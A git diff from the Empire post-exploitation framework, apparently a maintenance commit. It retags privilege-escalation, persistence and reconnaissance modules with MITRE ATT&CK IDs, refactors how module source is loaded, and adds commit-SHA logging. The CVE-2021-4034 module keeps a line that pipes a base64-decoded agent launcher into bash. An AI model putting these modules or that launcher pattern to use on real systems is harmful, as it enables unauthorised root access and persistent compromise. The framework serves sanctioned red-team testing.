background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/persistence/osx/loginhook.yaml b/empire/server/modules/python/persistence/osx/loginhook.yaml index a0dc47362..51bee4fc5 100644 --- a/empire/server/modules/python/persistence/osx/loginhook.yaml +++ b/empire/server/modules/python/persistence/osx/loginhook.yaml @@ -15,9 +15,9 @@ description: | maintaining long-term access to compromised macOS systems through legitimate system mechanisms. software: '' -tactics: [] +tactics: [TA0003, TA0004] techniques: - - T1037 + - T1037.002 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/persistence/osx/mail.yaml b/empire/server/modules/python/persistence/osx/mail.yaml index 9e15feb7f..01911ca2b 100644 --- a/empire/server/modules/python/persistence/osx/mail.yaml +++ b/empire/server/modules/python/persistence/osx/mail.yaml @@ -16,9 +16,10 @@ description: | establishing persistence that activates when specific emails are received. software: '' -tactics: [] +tactics: [TA0002, TA0003] techniques: - - T1155 + - T1059.002 + - T1137 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml index 58ee01f64..1ee5dbdc1 100644 --- a/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml +++ b/empire/server/modules/python/privesc/linux/linux_priv_checker.yaml @@ -17,9 +17,10 @@ description: | security assessments, and identifying privilege escalation opportunities on Linux systems. software: '' -tactics: [] +tactics: [TA0004, TA0005] techniques: - - T1166 + - T1059.004 + - T1548.001 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml index a91b71100..02046a92f 100644 --- a/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml +++ b/empire/server/modules/python/privesc/linux/unix_privesc_check.yaml @@ -31,9 +31,10 @@ description: | auditors to systematically identify privilege escalation opportunities on Unix/Linux systems. software: '' -tactics: [] +tactics: [TA0004, TA0005] techniques: - - T1166 + - T1059.004 + - T1548.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py index 3feb8e55b..dd2bda34d 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.py @@ -1,31 +1,27 @@ import base64 from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_get_source class Module: @staticmethod + @auto_get_source def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # extract all of our options listener_name = params["Listener"] user_agent = params["UserAgent"] safe_checks = params["SafeChecks"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - # generate the launcher code launcher = main_menu.stagergenv2.generate_launcher( listener_name, @@ -35,7 +31,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") return script.replace("{{ payload }}", base64_launcher) diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml index 0cc08e25a..bde640eae 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml +++ b/empire/server/modules/python/privesc/multi/CVE-2021-3560.yaml @@ -25,9 +25,9 @@ description: | The vulnerability was discovered by GitHub Security Lab and affects multiple Linux distributions including Ubuntu, Debian, and CentOS. software: '' -tactics: [] +tactics: [TA0004] techniques: - - T1050 + - T1068 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py index 4ff6230c7..820590076 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.py +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.py @@ -2,31 +2,27 @@ import subprocess from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_get_source class Module: @staticmethod + @auto_get_source def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ): # extract all of our options listener_name = params["Listener"] user_agent = params["UserAgent"] safe_checks = params["SafeChecks"] - # read in the common module source code - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) - # generate the launcher code launcher = main_menu.stagergenv2.generate_launcher( listener_name, @@ -36,7 +32,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") base64_launcher = base64.b64encode(launcher.encode("UTF-8")).decode("UTF-8") launcher = f'echo \\"{base64_launcher}\\" | base64 --decode | bash' diff --git a/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml index 5145edd4d..330c06b61 100644 --- a/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml +++ b/empire/server/modules/python/privesc/multi/CVE-2021-4034.yaml @@ -13,9 +13,9 @@ description: | process and spawns a new high-integrity agent with root privileges. Affects systems with polkit versions prior to 0.105-26ubuntu1.2. software: '' -tactics: [] +tactics: [TA0004] techniques: - - T1050 + - T1068 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/multi/bashdoor.yaml b/empire/server/modules/python/privesc/multi/bashdoor.yaml index 43d406b49..6fcb51f35 100644 --- a/empire/server/modules/python/privesc/multi/bashdoor.yaml +++ b/empire/server/modules/python/privesc/multi/bashdoor.yaml @@ -21,9 +21,9 @@ description: | remains active across shell sessions and can be triggered by any sudo command execution. software: '' -tactics: [] +tactics: [TA0003, TA0004] techniques: - - T1156 + - T1546.004 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.py b/empire/server/modules/python/privesc/multi/sudo_spawn.py index 28f1ecba4..8eb6db43a 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.py +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -26,7 +26,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") password = params["Password"] diff --git a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml index 893e98d92..8d2161bc2 100644 --- a/empire/server/modules/python/privesc/multi/sudo_spawn.yaml +++ b/empire/server/modules/python/privesc/multi/sudo_spawn.yaml @@ -23,10 +23,10 @@ description: | The spawned agent inherits root privileges, allowing access to sensitive system files, configuration changes, and administrative operations that would otherwise be restricted to the original user context. -software: T1169 -tactics: [] +software: '' +tactics: [TA0004, TA0005] techniques: - - T1050 + - T1548.003 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/osx/piggyback.py b/empire/server/modules/python/privesc/osx/piggyback.py index 740222b1c..5bc410c7d 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.py +++ b/empire/server/modules/python/privesc/osx/piggyback.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu +from empire.server.core.exceptions import ModuleValidationException from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message class Module: @@ -26,7 +26,7 @@ def generate( ) if launcher == "": - return handle_error_message("[!] Error in launcher command generation.") + raise ModuleValidationException("Error in launcher command generation.") launcher = launcher.replace("'", "\\'") launcher = launcher.replace("echo", "") diff --git a/empire/server/modules/python/privesc/osx/piggyback.yaml b/empire/server/modules/python/privesc/osx/piggyback.yaml index 6c7512d9c..20ea38975 100644 --- a/empire/server/modules/python/privesc/osx/piggyback.yaml +++ b/empire/server/modules/python/privesc/osx/piggyback.yaml @@ -25,10 +25,10 @@ description: | Apple patched this vulnerability in subsequent releases, making it ineffective on newer macOS versions. This makes it a valuable technique for targeting legacy macOS systems that may still be in use in enterprise environments. -software: T1169 -tactics: [] +software: '' +tactics: [TA0004, TA0005] techniques: - - T1050 + - T1548.003 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml index ef2a48bf2..4af6a6f9b 100644 --- a/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml +++ b/empire/server/modules/python/privesc/windows/get_gpppasswords.yaml @@ -28,7 +28,7 @@ description: | - User account passwords set via GPP - Database and application passwords software: '' -tactics: [] +tactics: [TA0004, TA0006] techniques: - T1003 background: false diff --git a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml index 2d3e60f1c..7b8cc8a0c 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/SuidGuidSearch.yaml @@ -11,9 +11,8 @@ description: | of the file owner or group. Displays detailed file information including permissions, owner, group, and file path. software: '' -tactics: [] -techniques: - - T1426 +tactics: [TA0004, TA0005] +techniques: [T1548.001] background: true output_extension: needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml index d17f487ab..ad84fbe84 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/WorldWriteableFileSearch.yaml @@ -12,7 +12,7 @@ description: | placed or where privilege escalation can be achieved through file manipulation. software: '' -tactics: [] +tactics: [TA0007] techniques: - T1083 background: true diff --git a/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml index 612210b80..dd3a430da 100644 --- a/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml +++ b/empire/server/modules/python/situational_awareness/host/multi/linpeas.yaml @@ -12,9 +12,11 @@ description: | of potential attack paths and security misconfigurations that could lead to privilege escalation. software: '' -tactics: [] +tactics: [TA0007] techniques: - T1046 + - T1059.004 + - T1082 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml index 08cb3b463..2acab8bfd 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml +++ b/empire/server/modules/python/situational_awareness/host/osx/HijackScanner.yaml @@ -30,9 +30,9 @@ description: | identify potential attack vectors for maintaining elevated privileges through library injection techniques. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1157 + - T1574.004 background: false output_extension: needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml index 8485a5c9d..3ad161dda 100644 --- a/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml +++ b/empire/server/modules/python/situational_awareness/host/osx/situational_awareness.yaml @@ -24,9 +24,11 @@ description: | host reconnaissance and helps operators understand the target environment to identify the most effective attack vectors and persistence mechanisms. software: '' -tactics: [] +tactics: [TA0007] techniques: + - T1033 - T1082 + - T1518.001 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml index 99bae43f3..79b75ace3 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groupmembers.yaml @@ -23,9 +23,9 @@ description: | targets for credential harvesting and privilege escalation attacks using native macOS directory service capabilities. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml index da2c08c1d..300bfb2eb 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_groups.yaml @@ -24,9 +24,9 @@ description: | understand the organizational hierarchy for targeted social engineering campaigns using native macOS capabilities. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml index e2cb5114f..9e261442c 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/dscl_get_users.yaml @@ -24,9 +24,9 @@ description: | privilege escalation, and targeted attacks based on user roles and organizational structure using native macOS directory service capabilities. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1087.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml index 3d0b6f3ce..1656e62bd 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_computers.yaml @@ -21,9 +21,9 @@ description: | privilege escalation, and lateral movement based on computer roles and network positioning. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1018 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml index 02e7ae96f..7ddd1e478 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_domaincontrollers.yaml @@ -21,9 +21,9 @@ description: | identify the most valuable targets for credential harvesting, privilege escalation, and establishing persistent access to the domain infrastructure. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1018 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml index 1148d0193..c3f72b51e 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_fileservers.yaml @@ -21,9 +21,9 @@ description: | locations and shared resources within the target environment for data harvesting and lateral movement strategies. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1135 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml index df66e689b..54233f04c 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmembers.yaml @@ -20,9 +20,9 @@ description: | for domain reconnaissance and helps operators identify potential targets for credential harvesting and privilege escalation attacks. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml index 3603a4b7c..dfc8487a3 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groupmemberships.yaml @@ -20,9 +20,9 @@ description: | reconnaissance and helps operators understand the target's role and potential access to sensitive resources within the domain. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml index 1732fd2bd..8806aaae9 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_groups.yaml @@ -20,9 +20,9 @@ description: | operators identify potential targets for group-based attacks and understand the organizational hierarchy for targeted social engineering campaigns. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml index 3ddd2bd96..cf9ffeafd 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_ous.yaml @@ -22,9 +22,9 @@ description: | potential targets for privilege escalation and lateral movement based on organizational roles and responsibilities. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1069.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml index 635117116..96da1a9dd 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_userinformation.yaml @@ -21,9 +21,9 @@ description: | reconnaissance and helps operators build comprehensive profiles of potential targets for credential harvesting and targeted attacks. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1087.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml index 4cc335d22..8c1657ee6 100644 --- a/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml +++ b/empire/server/modules/python/situational_awareness/network/active_directory/get_users.yaml @@ -20,9 +20,9 @@ description: | identify potential targets for credential harvesting, privilege escalation, and targeted attacks based on user roles and organizational structure. software: '' -tactics: [] +tactics: [TA0007] techniques: - - T1482 + - T1087.002 background: false output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml index c583fe8f8..a7c74700e 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_add_job.yaml @@ -11,9 +11,9 @@ description: | to define new scheduled jobs with specified commands, owners, descriptions, and ISO8601 schedule formats. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1106 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml index 08e94274a..54c860d8f 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_delete_job.yaml @@ -13,9 +13,9 @@ description: | and managing the lifecycle of scheduled tasks in cloud-native environments. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1106 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml index 8d191b300..e997eb363 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/chronos_api_start_job.yaml @@ -14,9 +14,9 @@ description: | execution through the distributed job scheduler in cloud-native environments. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1106 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml index 444850fe3..b6f17340b 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/etcd_crawler.yaml @@ -16,9 +16,8 @@ description: | data, and understanding the architecture of cloud-native applications that use etcd for configuration management. software: '' -tactics: [] -techniques: - - T1426 +tactics: [TA0006] +techniques: [T1552.001] background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml index 78bc61041..80aacd25f 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_create_start_app.yaml @@ -11,9 +11,9 @@ description: | Marathon API endpoint to create new application definitions and immediately start the specified number of instances. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1106 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml index 171d6dbc0..341ff1992 100644 --- a/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml +++ b/empire/server/modules/python/situational_awareness/network/dcos/marathon_api_delete_app.yaml @@ -13,9 +13,9 @@ description: | and managing the lifecycle of deployed applications in cloud-native environments. software: '' -tactics: [] +tactics: [TA0002] techniques: - - T1106 + - T1059.006 background: true output_extension: '' needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml index cf96b76ce..617736918 100644 --- a/empire/server/modules/python/situational_awareness/network/find_fruit.yaml +++ b/empire/server/modules/python/situational_awareness/network/find_fruit.yaml @@ -13,10 +13,9 @@ description: | network-wide scanning. Identifies potential low-hanging fruit targets that may be misconfigured or running with default credentials. software: '' -tactics: [] +tactics: [TA0011] techniques: - T1102 - - T1256 background: true output_extension: needs_admin: false diff --git a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml index e035c199e..3776f98dd 100644 --- a/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml +++ b/empire/server/modules/python/situational_awareness/network/gethostbyname.yaml @@ -11,7 +11,7 @@ description: | Provides essential network reconnaissance capabilities for mapping hostnames to IP addresses and understanding network topology. software: '' -tactics: [] +tactics: [TA0007] techniques: - T1018 background: true diff --git a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml index a4fde5de8..1c43d69aa 100644 --- a/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml +++ b/empire/server/modules/python/situational_awareness/network/http_rest_api.yaml @@ -14,7 +14,7 @@ description: | legitimate browser traffic. Returns the API response content for analysis and data extraction. software: '' -tactics: [] +tactics: [TA0007, TA0005] techniques: - T1006 background: true diff --git a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml index 87ff3350c..705a30a9e 100644 --- a/empire/server/modules/python/situational_awareness/network/smb_mount.yaml +++ b/empire/server/modules/python/situational_awareness/network/smb_mount.yaml @@ -14,7 +14,7 @@ description: | file system access. Provides a method for executing commands in the context of remote SMB shares without requiring persistent access. software: '' -tactics: [] +tactics: [TA0007] techniques: - T1135 background: false diff --git a/empire/server/modules/python/trollsploit/osx/change_background.yaml b/empire/server/modules/python/trollsploit/osx/change_background.yaml index e2a4453ab..af6be3362 100644 --- a/empire/server/modules/python/trollsploit/osx/change_background.yaml +++ b/empire/server/modules/python/trollsploit/osx/change_background.yaml @@ -24,7 +24,7 @@ description: | can create confusion or amusement while maintaining system functionality. software: '' -tactics: [] +tactics: [TA0040] techniques: - T1491 background: false diff --git a/empire/server/modules/python/trollsploit/osx/login_message.yaml b/empire/server/modules/python/trollsploit/osx/login_message.yaml index 6b4883659..a255bf8db 100644 --- a/empire/server/modules/python/trollsploit/osx/login_message.yaml +++ b/empire/server/modules/python/trollsploit/osx/login_message.yaml @@ -22,7 +22,7 @@ description: | modification can be particularly effective for creating confusion or amusement depending on the content of the displayed message. software: '' -tactics: [] +tactics: [TA0040] techniques: - T1491 background: false diff --git a/empire/server/modules/python/trollsploit/osx/say.yaml b/empire/server/modules/python/trollsploit/osx/say.yaml index 861a40fae..267bce069 100644 --- a/empire/server/modules/python/trollsploit/osx/say.yaml +++ b/empire/server/modules/python/trollsploit/osx/say.yaml @@ -22,7 +22,7 @@ description: | commonly used for pranks and social engineering scenarios where audible disruption can create confusion or amusement. software: '' -tactics: [] +tactics: [TA0040] techniques: - T1491 background: false diff --git a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml index f5830c83c..6316596e1 100644 --- a/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml +++ b/empire/server/modules/python/trollsploit/osx/thunderstruck.yaml @@ -10,7 +10,7 @@ description: | loud music without user interaction. Uses macOS system commands to control volume settings and launch Safari with specific URL parameters. software: '' -tactics: [] +tactics: [TA0040] techniques: - T1491 background: false diff --git a/empire/server/modules/python_template.py b/empire/server/modules/python_template.py index 39922f8ce..b5fa8f187 100644 --- a/empire/server/modules/python_template.py +++ b/empire/server/modules/python_template.py @@ -1,6 +1,6 @@ from empire.server.common.empire import MainMenu from empire.server.core.module_models import EmpireModule -from empire.server.utils.module_util import handle_error_message +from empire.server.core.module_service import auto_get_source class Module: @@ -11,36 +11,23 @@ class Module: """ @staticmethod + @auto_get_source def generate( main_menu: MainMenu, module: EmpireModule, params: dict, obfuscate: bool = False, obfuscation_command: str = "", + script: str = "", ) -> tuple[str | None, str | None]: - # Step 1: Get the module source code - # The script should be stripped of comments, with a link to any - # original reference script included in the comments. - # If your script is more than a few lines, it's probably best to use - # the first method to source it. - # - # First method: Read in the source script from module_source - # get_module_source will return the source code, getting the obfuscated version if necessary. - # (In the case of python, obfuscation is not supported) - # It will also return an error message if there was an issue reading the source code. - script, err = main_menu.modulesv2.get_module_source( - module_name=module.script_path, - obfuscate=obfuscate, - obfuscate_command=obfuscation_command, - ) + # The @auto_get_source decorator handles loading the module source code + # from module.script_path (with obfuscation if needed) and passes it as + # the `script` parameter. - if err: - return handle_error_message(err) + # Alternative: Use the script from the module's yaml instead of @auto_get_source. + # script = module.script - # Second method: Use the script from the module's yaml. - script = module.script - - # Step 2: Parse the module options, and insert them into the script + # Parse the module options, and insert them into the script. # The params dict contains the validated options that were sent. for key, value in params.items(): if key.lower() != "agent" and key.lower() != "computername": @@ -48,5 +35,5 @@ def generate( "{{" + key + "}}", value ) - # Step 3: Return the final script + # Return the final script directly (no finalize needed for Python modules). return script diff --git a/empire/server/modules/python_template.yaml b/empire/server/modules/python_template.yaml index fe185bfd0..6b7e9a6b9 100644 --- a/empire/server/modules/python_template.yaml +++ b/empire/server/modules/python_template.yaml @@ -14,8 +14,7 @@ description: | software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: - - T1141 - - T1514 + - T1056.002 # True if the module needs to run in the background background: false diff --git a/empire/server/server.py b/empire/server/server.py index 9b2416ce1..0ccaf69cd 100755 --- a/empire/server/server.py +++ b/empire/server/server.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 import logging +import os import shutil import signal import subprocess @@ -52,6 +53,37 @@ def shutdown_handler(signum, frame): signal.signal(signal.SIGINT, shutdown_handler) +def get_commit_sha() -> str: + """Return the git commit SHA for the running build. + + In Docker, this is baked in at build time via the EMPIRE_COMMIT_SHA env + var (set by --build-arg in the Makefile). At runtime (local dev), falls + back to running git. Returns "unknown" when neither source is available. + """ + commit = os.environ.get("EMPIRE_COMMIT_SHA", "").strip() + if commit: + return commit + + try: + result = subprocess.run( + ["git", "rev-parse", "--short", "HEAD"], + stdout=subprocess.PIPE, + stderr=subprocess.DEVNULL, + text=True, + check=False, + ) + if result.returncode == 0: + return result.stdout.strip() + except FileNotFoundError: + pass + + return "unknown" + + +def log_version(): + log.info(f"Starting Empire {empire.VERSION} (commit: {get_commit_sha()})") + + def check_submodules(): log.info("Checking submodules...") if not Path(".git").exists(): @@ -92,6 +124,7 @@ def run(args): sys.exit() setup_logging(args) + log_version() if empire_config.submodules.auto_update: log.info("Submodules auto update enabled. Loading.") diff --git a/empire/server/stagers/linux/pyinstaller.py b/empire/server/stagers/linux/pyinstaller.py index a47a7a01b..ef53ebab6 100644 --- a/empire/server/stagers/linux/pyinstaller.py +++ b/empire/server/stagers/linux/pyinstaller.py @@ -1,7 +1,7 @@ import logging -import os import subprocess import time +from pathlib import Path """ @@ -137,8 +137,8 @@ def generate(self): imports_str = "\n".join(imports_list) launcher = imports_str + "\n" + launcher - with open(binary_file_str + ".py", "w") as text_file: - text_file.write(f"{launcher}") + binary_path = Path(binary_file_str) + binary_path.with_suffix(".py").write_text(f"{launcher}") subprocess.run( [ @@ -146,16 +146,15 @@ def generate(self): "-y", "--clean", "--specpath", - os.path.dirname(binary_file_str), + str(binary_path.parent), "--distpath", - os.path.dirname(binary_file_str), + str(binary_path.parent), "--workpath", "/tmp/" + str(time.time()) + "-build/", "--onefile", - 